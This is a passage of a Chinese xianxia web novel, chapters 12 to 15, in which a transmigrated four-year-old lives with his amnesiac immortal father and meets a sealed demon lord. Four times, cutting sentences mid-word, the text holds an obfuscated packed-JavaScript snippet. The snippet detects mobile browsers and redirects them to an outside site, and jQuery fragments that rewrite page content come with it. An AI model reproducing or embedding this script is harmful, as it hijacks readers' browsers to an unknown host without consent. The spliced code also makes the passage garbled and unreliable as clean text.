也算是救过他一命了,不过他之前看戚宝的眼神,让他心生畏惧。 戚宝觉得,他的眼神比蛇妖还可怕。 戚宝随便打量了几眼,又跟他爹出了房间。 太阳从云层中出来,暖暖的阳光洒在人身上,无风的午后,倒是暖洋洋的。 戚宝这才发现爹有些不对劲,他爹长得好看,瓷白的皮肤就算晒很久都不会发红,嘴唇也如樱花淡淡的粉色,但此时,嘴唇颜色有些鲜红,像是血染了花瓣,绮丽多姿。 戚宝忽然想到地上躺着的那人。 是不是他醒来对爹说了什么话,让爹生气了。 戚宝回忆了一下,他想起来了。 这人说【沈君钦,你竟已在人间娶妻生子了?】。 沈君钦是谁啊?是他爹的名字吗?难道这个人以前认识爹? 戚宝细细品着这个名字,有点耳熟,好像在哪里听到过,但他现在失血过多,脑袋缺氧,一时半会想不起来。 沈不忘将地上的男人扶起来,戚宝准备过去帮忙,打算将人扶到床上去,等这个人醒来后,说不定能告诉他们,爹以前是什么人。 沈不忘无需戚宝帮忙,直接将人扛在肩头上,走出了屋子,戚宝小跑着跟上,问道:“爹,你要把他送到哪里去啊?”话音刚落,就看到沈不忘将人像是丢垃圾一样丢在了灶屋里的柴禾堆里。 戚宝:爹,你! “此人十分危险。”沈不忘解释道,他把这人打晕,便是感受到了他对云戚抱有极大的恶意,且是个登徒子,醒来便对他做那样不雅的事情,不过他不能当着崽崽的面杀人。 崽崽几个月前遇上了意外,如今胆子小,容易吓到。 而且崽崽说了,杀人要坐牢的。 沈不忘压下心中的杀意,一定要找个法子解决了此人。 昏迷大帅哥待遇急转直下,从睡家中主卧到睡柴禾堆,不过他这一次他在夜深的时候就醒来了,躺在柴堆里,看着草屋子顶上破洞里的天穹,没有动弹。 终于回到了人间。 斗转星移,不知过了多少年。 再见他,男人摸了摸自己的脸。 怎么,沈君钦打人都这么不疼了吗?该不会是舍不得用力打我吧? 我就知道,他心里有我。 隔壁的房间里传来了父子两的谈话声,虽然声音不大,但是对于他来说却可以听得真切。 他刚刚醒来的时候看到了沈君钦有孩子了,盛怒之下想宰了那个小孩。 现在想来此事不妥,他应该宰了那个勾引沈君钦,并且跟他生孩子得女人才是。 至于那孩子……哼哼。 戚宝躺在爹怀里,问道:“爹,那个蛇妖该不会再找回来吧?她会把我吃了吗?” “别怕,爹会保护你的。”沈不忘答道。 戚宝又说:“那个蛇妖说我娘病危,她会不会已经被蛇妖吃了?” “……”沈不忘沉默了片刻,问了句,“戚宝,你很怕妖怪吗?” 戚宝思索了片刻,说到:“想吃掉我,我就怕,如果对我好的,我就不怕了。” “这样啊……其实你娘是狐狸精。”沈不忘回答。 一句话成功给戚宝干沉默了,沉默了很久之后,开始庆幸的想,还好娘亲也是妖精,不至于被蛇妖吃掉,现在应该还活得好好的。 戚宝又问了一些关于娘的事情,沈不忘知道的也不多。 “爹,我有点冷,你抱着我睡。”戚宝打了个哈欠。 沈不忘应好,将崽崽搂进怀里。 戚宝躺在他爹的怀里,很快便安稳的睡去。 柴房里的男人听着父子两的对话发怔,他……怎么……竟然……如此温柔? 次日又是好天气。 戚宝一觉睡到大中午,起来后,他爹给他换了个药,就开始吃饭了。 人参炖小鸡,专门给戚宝补补血。 戚宝还惦记着他娘,问道:“我们要去镇上看看娘吗?” “今日天色已晚,明日再去。”沈不忘道。 去镇上也不是想去就能去的,最好能搭上牛车,出门的时间需要很早,并且要提前知会,若是走路去,来回有三十里路,怎么的也得要两个时辰。 主要还是戚宝才四岁,腿太短了,不宜长途跋涉。 戚宝沉默片刻,道:“那明日去。” 吃饭吃着吃着,戚宝忽然想起睡在柴房的男人,问道:“那人已经三日没有吃东西了,要给他留个鸡腿吗?” “你自己吃便是。”沈不忘将两个鸡腿都夹给戚宝,又道,“那人我早上已经喂过了。” 这话说的,戚宝是不信的,不过戚宝打算待会给他弄点汤喝喝,他毕竟也是个活生生的人,还认识他爹。 戚宝将鸡腿啃了,他爹去收拾碗筷,下午还要去邻居家拿老虎皮卖的银子。 戚宝有心理阴影了,只想在家呆着,不想出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730258|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈不忘也不强求,只是说:“我马上就回来,遇到危险就大声喊爹。” “好的,爹。”戚宝乖乖回答。 沈不忘走后,戚宝就悄悄打了一碗鸡汤,双手捧着送到了柴房里。 那男人还躺在原来的地方,似乎一晚上都没有动弹过,合着双眼,那张脸看上去几句攻击性的野性美感。 戚宝对着他道:“你若是醒了,便喝点鸡汤,不喝的话,凉了我就拿走。” 交代完后,戚宝心里轻松了不少,跳着往门外跑去,行动雀跃。 男人睁开一只眼看着戚宝的背影,又瞥了一眼地上的鸡汤,他嘴角嘤着淡笑,轻咳了两声。 戚宝回头,见男人醒了,问道:“你醒啦?” “嗯,咳咳……”他又装模作样的咳了两声。 戚宝道:“你是不是感染风寒了?喝点鸡汤吧。” “哦。”他倒是还挺听戚宝的话,确实把鸡汤喝了,还吧嗒了一下嘴巴,问道,“这是你爹做的?” “昂。”戚宝应声。 男人冲着戚宝勾了勾手指,笑的邪肆,道:“小崽子,你过来。” 戚宝觉得他笑得不怀好意,他站在门口躲在门后面,探出一个小脑袋,警惕问道:“干嘛?” “别那么紧张,我……”他拖长了声音,道,“我要收你为徒。” “哈?”戚宝有些懵圈,问道,“为什么?” 男人换了个躺姿,眼睛幽幽的盯着戚宝,解释道:“在我昏迷的时候,你是不是拉过我手指,在我们门派,不能随意触碰身体,不然就要收对方为徒。” 戚宝听到这话一脸无语,道:“我可不是三岁小孩,你休想骗我。” “哈哈哈,那你几岁了?”男人哈哈大笑。 戚宝伸出四个手指道:“我已经四岁了。” “原来如此。”男人摸了摸下巴,四岁的孩子不好骗了。 男人坐直了身子,手指在空气中虚空画了几笔,写了【沈君钦】三个字,金色的流光熠熠生辉,男人对着名字吹了一下,那浮动的宛如金色流光的字便朝着戚宝而来。 戚宝惊讶的瞪大了眼睛,这是魔法吧。 “这是你爹的名字。”男人说道。 戚宝默默在心里念了一遍,沈君钦,可是嘴里却说:“哦,原来我爹的名字是这么写的。” 他伸手去碰了一下那三个字,便消散了,宛如烟火一般散在空中,细碎的金光宛如满天星辰,全都落尽了戚宝漆黑的瞳孔里。 男人看着戚宝目瞪口呆的样子,心中有些异样的情绪在流动,这孩子长得倒是粉雕玉琢十分可爱,眼睛又黑又亮不像沈君钦那般薄凉,小脸皮肤很白,倒是跟他爹异样。 神采飞扬的模样让他也觉得心情不赖,那张小脸鲜活又生动,若是他们再早一点相识,沈君钦大约便长这般模样。 他又略施小计,全方位无死角给戚宝展示了一番自己的哄小孩技术。 他十分有信心,自己展示完毕之后,小屁孩就被他的高超仙术迷得五迷三道,跪着拜他为师。 来吧,展示。 13. 第 13 章 第13章 小小的柴房里法术的烟火绽放,一群白鹤穿过,烟花碎落成漫天星辰,破烂的茅草屋的顶上出现一片银河。 “哇,好厉害。” “是流星哎!” “还有仙鹤,太厉害了。” 戚宝惊呼一阵接一阵的,眼睛扑闪扑闪的,满目惊喜,称赞的话也不绝于耳,情绪价值拉满。 他觉得自己可能关在封印里太久了,太久没有见到人了,现在竟然能这么好心给小孩子变把戏。 他甚至在小屁孩的夸奖中心生欢喜。 “好了,师父我是不是很厉害,还不跪下磕头。”男人收了神通,歪嘴笑了笑。 戚宝皱着眉头,道:“我不想学,难道我要学这种把戏去街头表演卖艺吗?”花里胡哨的,虽然挺好看挺神奇的,可一点用都没有,也不能杀妖怪。 难不成学了这个,在妖怪来时,给她变个戏法,让妖怪吃自己的时候心情好一些? 戚宝作为21世纪穿越来的人,可是有见识的,才不会被这么三两下就糊弄住了,他尚且不知道对方的底细,自然不能掉以轻心,万一他跟爹有仇了? 沈不忘昨天可是在他醒来之后心情很差。 “你小子,什么叫变把戏,我可以教你上天入地的本事,翻江倒海的神通,还能传你秘宝法器,修真界求之不得的功法。”男人觉得自己被小屁孩羞辱了。 戚宝听着有些心动,可是又按捺住了,道:“你这么说,有些怪怪的,我跟你又不是很熟,你为什么对我这么好?” 男人听到这话的时候不由愣了一下。 戚宝见他不回答,自言自语道了句:“算了算了,我不想学这些,我要跟我爹在一起,你把碗还给我,要是我爹知道我给你吃东西,他会生气的。” 他爹很少生气,不过戚宝看出来了,他爹很不喜欢这个人,不管是给他吃东西,还是拜他为师,都可能让爹心情不好。 戚宝不想让爹生气。 戚宝让男人把碗踢出来,拿着碗准备离开,那男人又说:“实话告诉你吧,其实我要收你为徒是因为我答应过你爹。” 戚宝耳朵竖起来,偏头看他。 “我答应过他,要把他的孩子当自己的儿子一样,会将毕生所学全都教给他,而且……”他再一次拖长了声音,吊着戚宝的胃口。 戚宝果然回头上前了一步,一脸好奇,男人挑眉继续道:“而且,我们约定过,彼此的孩子要结为道侣。” “道侣?”好新鲜的词汇,戚宝心中猛地跳动了一下,不过很快又平复下来,都有妖精了,那有仙人也不奇怪,“你是神仙吗?” 男人忽然掩唇笑了起来,像是听到了很好笑的事情。 戚宝挠挠头,不知道自己竟然这么幽默,竟然把这人弄得这么开心,又问:“你认识我爹吗?”?“当然认识,你爹他……恋慕我。”男人得意的说道。 戚宝被雷到了,一脸不相信道:“你别是骗我吧?” “当然不会骗你这种四岁小孩,你这么小,我能说谎骗你吗?”男人正色道。 戚宝无语,道:“我爹恋慕你,然后还成亲了,跟我娘在一起恩恩爱爱生了我?” 男人听到这话,眼中杀意一闪而过,随后又恢复正常,道:“你爹跟你娘在一起,是有原因的,因为他对我爱而不得,全宗门都阻止他跟我在一起,于是他就抢了我未婚妻,远走高飞了。” 戚宝越听越离谱,你就编吧。 他决定不相信这个满口跑火车的家伙了,就算他真的认识爹,嘴巴里也吐不出一句能听的话,全在扯淡。 真是听君一席话,浪费十分钟。 男人见戚宝一脸不相信的模样,急了:“真的,你爹可喜欢我了,你拜我为师,他就有机会接近我了,你可得为你爹好好考虑一下。” 戚宝大翻白眼,一本正经的推理道:“若是我爹抢了你未婚妻,生了我,那你应该恨我才对,但是你要收我为徒……所以你还喜欢你未婚妻,也就是我娘对吧?” 男人愣了一下,目露凶狠道:“背叛我的人,永世不可原谅。” “这才对嘛,我爹跟你有夺妻之恨,而你又恨极了我娘,你跟我爹还有我娘都有仇。”戚宝煞有介事的分析着,逻辑很清楚,眯着眼睛上下打量着帅大叔,“现在你要收我为徒,该不会为了折磨我,来达到报复我爹娘的目的吧?” 男人愣住了,折磨他,倒是没有这个想法,他只是想要他的孩子陷入魔道,看看那个除魔卫道的家伙会不会手刃亲儿子。 没想到自己编的故事竟然这么漏洞百出。 想不到这小孩这么聪明!小小年纪说话条理竟然这么清晰。 不愧是沈君钦的孩子! 戚宝哼哼了一声,道:“还说我爹恋慕你,我看我爹讨厌你才对。” “谁说的?他才不讨厌我。”男人龇牙,不爽道。 戚宝双手环胸,道:“那你倒是说说,他如何恋慕你?” “……他打我都舍不得用力。”男人理直气壮。 戚宝:……听听,大兄弟,你这说的还是人话吗? 爹那一拳,把你打晕了,床都干碎了,还不用力了? 男人又说:“以前都对我要打要杀的,难道这不是恋慕我的表现吗?” 破案了,戚宝明白过来,不是他爹恋慕这人,而是这人恋慕他爹。 瞧瞧,这都恋爱脑晚期了。 戚宝见这情况,心里盘算了一下,这人大约是喜欢他爹,以前追求他爹,可是他爹不喜欢他,总是对他喊打喊杀。 这样的话,可不能让这人知道他爹失忆,若是知道了,不知道他该如何哄骗他爹。 “喂,小孩,你在那鬼迷日眼的想什么?”男人觉得他就是不信自己,有些暴躁。 戚宝道:“对了,你叫什么名字?” “你爹没有跟你说过吗?”男人眯着眼睛道。 戚宝诚实的摇头。 “这么多年从来没有提过?”男人不可置信。 戚宝心道,我爹都失忆了,谁的名字都没有提过。 男人又开始发疯了,龇牙咧嘴的,看上去受了很重的情伤。 真是可怜咯,恋爱脑发作了! 爹啊,你魅力实在太大了,无形中伤害了多少人的心啊。 戚宝又想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730259|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这个人看上去有些危险,会不会因为暗恋他爹,所以看到娘了,才把娘弄伤了。 戚宝警惕的看着男人,搞不好他会对自己动手,他立即拔腿就跑,不想跟他有过多接触。 等男人回过神来,发现那小孩早就不见了。 来日方长,等他恢复实力了,定要他们父子好看。 院子外面响起脚步声,是沈君钦回来了。 “爹,你回来啦?”甜甜的小奶音,小屁孩,你竟然有两幅面孔。 “戚宝,二牛爹叫我们去他家吃饭,你要去吗?”沈君钦问小孩。 小孩应了声:“好。” 啧,真是父慈子孝。 父子俩下午出去了一趟,去山里拾了些干木柴回来,顺便还打猎了一只兔子。 剥了兔子皮,贴在泥巴墙上风干,沈不忘忽然偏头看了一眼。 戚宝问道:“爹,你在找什么?” “之前那只很大的兔子皮不见了。”沈不忘道,那只兔子精的,“可能被柴房那家伙吃了。” 戚宝:“他生吃兔子皮毛啊?” “呵。”沈不忘冷笑一声。 戚宝挠了挠脸,觉得有必要帮人解释一下,是就是,不是就不是,他倒不是多喜欢那个满口跑火车的家伙,只是确实不是他吃的。 “那个兔子皮,好像被娘拿走了。”戚宝解释道。 “兔肉也不见了。”沈不忘道。 “烧了,跟秋生叔二牛一起吃了。”戚宝补了句,“也是娘烧的。” 沈不忘默了片刻:“不,你们没吃,兔肉被她拿走了。” “啊?”戚宝有些惊讶。 沈不忘又说:“那个兔子精,跟昨天想要吃你的蛇精是一伙的。” 戚宝脑子僵了一下,问道:“那娘……是妖精的话,是不是要吃掉兔子,提升修为什么的?” 沈不忘笑了一下,道:“不知道。” 戚宝不是傻子,听明白他爹想说,其实狐狸精也跟她们是一伙的。 可是,狐狸精没有要害他的意思,他爹彻夜未归的时候,也是最好吃掉他的时机,但是柳音还是陪着他,安慰他。 戚宝脑海里帮她圆了回来,说不定这三个妖怪内部不和,不想柳音被夫被子所困,想要帮她解决麻烦,所以才想吃掉他。 不论如何,这个世界也太危险了。 此时的戚宝,还是觉得柳音是自己娘,因为他爹认证过的。 父子两将兔子带着去二牛家,当做加菜,二牛后娘难得大方的做了好些菜给他们吃,人也热情了不少,看着大家笑吟吟的,丝毫没有平日里刻薄的模样。 胡大勇在给沈不忘倒酒,感谢他啊,若不是有他,荷花村哪有今日,东拉西扯的说了好久。 二牛终于能尝到兔腿的滋味,感动的眼泪都出来了。 他拉着戚宝在一旁蛐蛐他后娘道:“我娘最近真是转了性了,对我好得不像话,没一顿都跟最后一顿样的,我真怕她把我给卖了。” 戚宝回头看了一眼二牛后娘,二牛后娘真目光灼灼的看着他爹,那眼神真的想要把他爹生吞活剥了一般。 看着怪渗人的。 14. 第 14 章 一晚上无事发生,吃了晚饭天色已经黑了,沈不忘背着昏昏欲睡的戚宝回家。 戚宝是个小话痨,一天到晚就缠着他爹,遇到什么发现什么都会告诉他爹。 今天二牛后娘变得很奇怪的事,他也说了,但是却没有告诉爹偷偷给鸡汤给那个柴房里的人吃了,更不可能说他想收自己为徒的事情。 沈不忘听罢,笑了笑,说到:“可能是你看错了。” 戚宝心说,爹都这么说了,那肯定是自己看错了。 “爹,柴房那个人是不是……”认识你啊,他还知道你的名字,叫你沈君钦,要不要跟他打听一下你的过去。 戚宝还在思索着,可实在太困了,没有问出来后半句,打了个哈欠便睡着了。 沈君钦三个字,那个人今天写给他看了,金色名字飘到了他的眼前,散成了流光。 这个名字十分耳熟,戚宝肯定自己在什么地方听过,不过也未必是听过,而是见过。 戚宝可以确定,他不是穿越到古代来听到的,那就是穿越前。 夜里,戚宝做了个梦,梦见了那个坐在自己后桌的男同学,他是个惹事精,平日里没事就喜欢招猫逗狗,最喜欢的事情就是找戚宝说话。 那一天上数学课的时候,他不断地在扯他的衣领,在身后说道:“戚宝,戚宝,你理我一下。” 戚宝:“……” 那人又说:“戚宝,戚宝,我在网上找到你爸爸了。” 戚宝:“……” 虽然知道又是什么奇葩的事情,还是转头理他了,然后他就贱笑着把手机递给戚宝。 戚宝本以为会是什么同名同姓的孩子叫戚宝,那个人有爹;又或者打开手机是同学的自拍照片,他抖机灵想占他便宜。 手机里放着的赫然是一篇小说,一篇男男花市仙侠生子文。 额…… 那个生子的仙尊就叫沈君钦,他的CP是叱咤六界的魔界战神渡妄。 两个人打的天上地下,暗无天日,最后仙尊将他囚在远古法阵里,不过那魔尊也不是好惹的主,将他也拉进了封印中。 仙尊为了出去邀请魔尊跟他双修提升修为,魔尊为了羞辱他,两个人就开始搞在一起了。 然后这一修,就修了四五十年,仙侠世界闭关就是需要这么久。 双修有效,仙尊突破了,打破了封印出去了,魔尊也要跟着出去,却被仙尊一掌打进去了,并且加固了封印。 魔尊不甘心到了极点:“沈君钦,你竟然骗我?” “我未对你许诺什么,谈何欺骗?”仙尊冷酷无情的说道。 魔尊不甘心的声音飘荡在黑暗中:“待我重见天日之时,必定屠尽你宗门,让你求生不能求死不能。” 沈君钦不屑道:“且看你有何本事。” 沈君钦封印了他,便要回山,不料他在封印中修为突飞猛进且完成了一件大功德,此时天劫将至,劫云铺天盖地而来,劈中了沈君钦。 他修的是无情道,最接近天道的道,本该受天道青睐,渡劫宛如吃饭喝水。 这一次雷劫虽度过,却失去了记忆。 再次醒来时,身边便多了个婴儿,那是他跟魔尊的孩子。 他一见他便心生怜爱,知道那是与自己骨头相连的孩子。 于是,他便开始了一场凡尘劫难。 若想成就无上大道,便要斩断所有的七情六欲。 他的孩子便是他的劫。 戚宝觉得这文很雷,当时只看了一半,怒觉自己被狗同学被骗看皇雯,而且那个沈君钦的孩子也不没有跟他同名。 戚宝也只是他的曾用名而已,凑巧被男同学看到了,这个世上也只有他会这么喊他。 戚宝当场发飙,于是两个人就被数学老师赶出了教室罚站。 之后戚宝好久没有跟他说话,他却对那小说挺感兴趣的,总是喋喋不休在他耳边说了不少那个小说的剧情。 戚宝觉得他有病,不知道这种BL皇文有什么好看的,他问男同学:“你是同性恋吗?对这种书感兴趣?” 男同学终于闭嘴了,不再跟他说这个。 “你爹他……恋慕我。”那个恋爱脑的发言不断的回荡在他耳边。 戚宝猛地从梦中醒来,瞪大了眼睛。 他穿进了那本小说,他就是仙尊和魔尊双修后生下来的孩子。 失忆的仙尊,凡尘的劫难,断绝七情六欲…… 断的竟然是他们的亲情。 戚宝不由悲从中来,越想越觉得伤心,他真的穿进了小说里了,他爹对他这么好,可是以后他们还会反目成仇。 戚宝睡不着了,抱着他爹的胳膊就呜呜呜哭了起来,好不伤心。 沈不忘立即就醒来了,看着抱着自己哭成了一个泪人儿的小家伙,忙问道:“乖崽,怎么了?怎么哭成这样,是不是噩梦了?” 戚宝不说话,就是哭,哭的那叫一个伤心。 沈不忘立即将他抱在怀里,起身点了灯,安慰道:“宝宝,怎么了?” “爹……嗝……我好难受。”戚宝哽咽道,泪水涟涟的看他爹。 在无尽的夜色中,在微弱的灯光下,透过眼泪看他爹,他爹也关切的看着他,对他这么好的爹,以后真的要刀剑相向吗??戚宝前世当了十几年的孤儿,现在终于有爹了,日子就要好起来了,现在竟然又发现了这个真相,心情那个悲伤啊。 “哪里难受?是不是手疼?”沈不忘抓着他的小手,解开纱布看了一下他的伤口。 伤口没有渗血,不过却看上去变得有些奇怪,伤口的周围长了一层红色的的丝状纹理,看上去像是布了一层红色的蜘蛛丝。 沈不忘眉头拧了起来,白天给他换药的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730260|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候都没事,现在怎么变成这样了? 戚宝逐渐止住了哭声,抽抽搭搭的擦着眼泪,沈不忘看他眼睛鼻子都哭的红红的,一双又黑又大的眸子泪水涟涟的,好不可怜。 “爹,我的手怎么了?”戚宝见他爹神色凝重,不由问道。 沈不忘摇摇头,将他手重新包扎起来,道:“没事,爹带你去城里看看大夫。” “爹,你会永远都陪着我,永远对我好吗?”戚宝拽着他的衣袖,一双水汪汪的大眼睛盯着他。 沈不忘愣了一下,而后笑了起来,声音里都带着笑意:“爹不对你好,对谁好啊?” “爹……”戚宝埋在他怀里,声音黏黏糊糊的。 沈不忘抱着戚宝,替他换衣服,小家伙做了噩梦,背后都汗湿了。 此时已是寅时,冬日天亮的晚,沈不忘说带戚宝去城里,而不是镇上,城中有专门治疗蛇毒的医馆,比镇上繁华不少。 沈不忘一边给戚宝换衣服一边解释道:“咱们先到镇上,再租个马车去城里。”沈不忘顿了一下,又说,“顺道看看你娘,带着他一起去镇上看病。” “爹……”戚宝忽然抓住他爹的衣摆,嗫嚅道,“她不是我娘,是来骗我们的。” 沈不忘愣了一下,看着戚宝。 戚宝心中有些小小的愤怒,道:“她肯定是别有所图,才假装是我娘。” “行,她不是你娘,我们再继续找,总能找到你娘的。”沈不忘莞尔道。 戚宝乌溜溜的眼睛看着他爹,正在为他忙前忙后,自言自语道:“我不找娘了,我跟爹两个人一起过就很好。” “好。” 戚宝忽然又想了想,按照小说里的内容,那个被他爹打得床都碎了,还没死的大帅哥,好像就是那个魔尊渡妄。 戚宝有些惆怅的扶着额头,他不是那种明明父母不相爱,还硬要父母在一起,不然这个家就不完整的那种人。 他本来是孤儿,有个爹就已经是上天恩赐了。 现在他知道了小说剧情后,那魔尊分明就是搞各种阴谋诡计欺负他爹,玩得强制爱。 若是这样还撮合两人,那真是不孝啊。 戚宝之前想要找娘,是觉得他爹人这么好,失忆前肯定也很好,能这么爱孩子,那对家庭和爱人也肯定很有责任感,是个好父亲好丈夫。 凭此推论,戚宝才觉得他爹娘离开必定是有误会的,而不是村里人说的,他娘嫌弃爹穷,不要他们了。 现在破案了,他没有娘。 生他的人就是他爹,他爹又当爹又当娘,确实是个天大的好爹! 戚宝忽然又开心了,看吧,他猜的果然没错。 沈不忘见他刚刚还哭,现在又笑了,语调也轻松了些许道:“现在又开心了?” “想到能做爹的孩子,我就很开心。”戚宝小嘴跟抹了蜜一样。 15. 第 15 章 夜深露重,冷风呼啸。 沈不忘给戚宝穿的里三层外三层的,裹得严严实实,戴着个兔毛小帽子,脖子上围着皮草小围巾,手上还有两个兔毛做成的小手套,只有一张圆圆的小脸露在外面。 两个人一处房门,就看到院子里临风而立站着红衣帅哥。 大冬天的,大半夜的寒风凛冽,在那装了。 戚宝看到都觉得冷,缩了缩脖子。 沈不忘连个正眼都没有给他,渡妄忽然不装了,拦在了两人的去路上,道:“大半夜出门,躲着我?” 戚宝:“……”你好油啊。 沈不忘冷冷的道:“既然醒来了,那就滚,从我家滚出去。” “啧啧,真是无情啊。”渡妄扯了扯嘴角,阴冷的眸子刮了一下戚宝,哼笑一声。 沈不忘错开他出了院子,渡妄也不再阻拦了,反倒跟在他身后,亦步亦趋的跟着。 戚宝被沈不忘抱着,他扭了个头,看向身后的男人,他的目光正死死的盯着他爹,在黑暗中看不清神色,危险的又充满了蛊惑人心的魔力。 看上去还有些怪可怕的。 “沈君钦,你这小孩一直看着我。”渡妄告状,忽然想到了什么,灿然一笑,“你儿子该不会想认我当爹了吧?” 戚宝顿时无语,转过脸去,对他爹道:“爹,那个人一直跟着我们。” 沈不忘停了下来,渡妄没皮没脸的说道:“这路也不是你家修的,你让我滚蛋,我去城中找人,不行吗?” 沈不忘不言语,还是站着。 渡妄无理取闹道:“你这人是不是太霸道了……” “你先走。”沈不忘冷声打断他的话。 言下之意就是,既然你说你要去城里找人,那便是先走,不要尾随在我身后。 渡妄:…… “我看你一个人抱孩子也很累,这小子看上去就很重,要不我帮你抱一下吧。”渡妄好心建议道。 沈不忘:“滚。” 行,你有种。 渡妄大步往前走去,他打算先去镇上,先杀了那个狐狸精,那是沈君钦人间找的妻子吧? 然后再去城中,先找到他口中的大夫,让那大夫认自己做老大,到时候可以拿乔这臭冷脸的家伙,看他怎么求自己。 渡妄还真的走了。 一路上往前走去,父子两人都没有再见他。 戚宝知道渡妄是自己的另外一个爹,心情是复杂的,他不想两个人走到悲剧的结局。 魔尊为所欲为横行霸道惯了,一直在欺负他爹,可是他爹也会杀了魔尊。 戚宝觉得,赶走魔尊,不让他接近自己爹才是最好的方式。 魔尊渡妄啊,你就回家好好当魔尊吧,我这是在救你命,知道吗? 天边泛起了鱼肚白,他们便到了镇上,沈不忘给戚宝买了两个包子,问道:“还难受吗?” 戚宝啃着包子摇摇头,他本想说自己只是做噩梦了难受,但是他爹好像挺紧张他手上的伤的,也不知道是不是那妖怪有毒,还是其他的什么情况。 沈不忘虽然潜意识里觉得大夫的药没有自己的药管用,可毕竟不是炼丹师,遇上了解决不了的事情,还是会去找大夫。 他现在是失去了记忆和大部分修为的凡人,自然会以凡人的法子来解决问题。 两个人经过客栈的时候,戚宝目光看向二楼的厢房,柳音就是住在这边的。 沈不忘问道:“你要去见她一面吗?” 戚宝摇摇头,道:“算了,还是不见了。”见面也不知道说什么,难不成问她为什么要骗他们,也挺尴尬的。 父子俩要去邺城,问了几个车夫,他们都不去。 问其原因,则是一脸讳莫如深的,说什么都不愿意告诉其缘由。 终于在问到第五个的时候,车夫上下打量了一眼沈不忘,随后目光落在戚宝的身上,终于应下,道:“去可以,十两银子。” 往日去城里,车马费来回不过一两银子,这下竟然涨了这么多。 沈不忘心系儿子的安危,现在又有钱了,自然不会在意,给了银钱便上了马车。 车夫驾车的本事倒是熟练,一路上车子又快又稳。 戚宝还是第一次来城里,好奇的掀开马车,正好路过一条大河,兴许是近日又下雨又下雪的,喝水浑浊不堪,波涛有些汹涌。 呼呼的冷风吹得戚宝脸红红的,沈不忘将他抱回去,关上马车的帘子,道:“当心感染风寒。” 戚宝道:“我还是第一次进城,爹,你要带我去看什么大夫?” “城中有个晏家,专门捉……捉山上的珍奇草药,医术高明。”沈不忘道。 戚宝默默给他爹没说完的话补了个全,那个晏家多半是捉妖降魔的家族。 这几日,戚宝的世界观算是彻底的颠覆了,之前只以为自己是寻常人家的孩子,现在被妖怪所伤,他爹多半是带他去降魔伏妖的家族去治疗。 戚宝还是有些担心自己受的伤是不是恶化了,他想把胳膊上的绑带解开查看一下。 他知道小说的剧情,他现在肯定不会死的,因为在未来,他会跟他爹打的你死我活。 哎,真是父慈子孝,孝死了! 戚宝暗暗下定决心,必须改变这个命运,他爹都说了一辈子都会跟他最好的。 他该如何改变命运了? 戚宝有些迷茫,因为他不知道小说的结局是什么。 他只看到仙尊得知自己修的是无情道,未来会杀了自己的孩子,因为沈云戚是他的应劫之人。 为了此劫,仙尊唯一想到的方法便是将此劫转移到魔尊身上。 他想要学着爱上魔尊,仙尊和魔尊结为道侣,倒是过了一段很甜蜜的时光。 只是甜蜜并不长久,因为仙尊注定会爱上魔尊的,也就是在爱上他的那一刻,仙尊便会毫不犹豫的杀掉他。 在仙尊杀了魔尊之后,他便抛弃了沈云戚。 沈云戚的身世之谜也就此揭露,魔族奉他为尊,为了帮魔尊爹讨个公道,也为了找仙尊爹找个说法,沈云戚决定于亲爹决战。 不想杀儿子,让儿子与自己反目成仇,不想爱人,却手刃爱人。 难道这就是大道吗? 戚宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730261|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到父子反目这,就弃坑了…… 戚宝十分扼腕,早知道自己会穿进这本书,当时就不该看一半不看。 只有这个时候,他才会想到,如果那个讨厌的家伙在就好了。 也不知道他有没有受伤,车子冲过来的时候,他为什么要来救自己?现在都没有答案了。 “你们要去晏家?”马车夫忽然开口问道,语气颇有些怪异。 沈不忘问道:“晏家去不得?” “倒不是去不得,只是这晏家,早在一个月之前就已经满门覆灭了。”马车夫幽幽的开口。 沈不忘不由拧眉,问道:“是何原因?” “这个嘛,不好多说,你到了城中便知道了。”车夫不敢说,目光斜眼瞟了波涛汹涌的大河,里面似暗藏着什么东西一般。 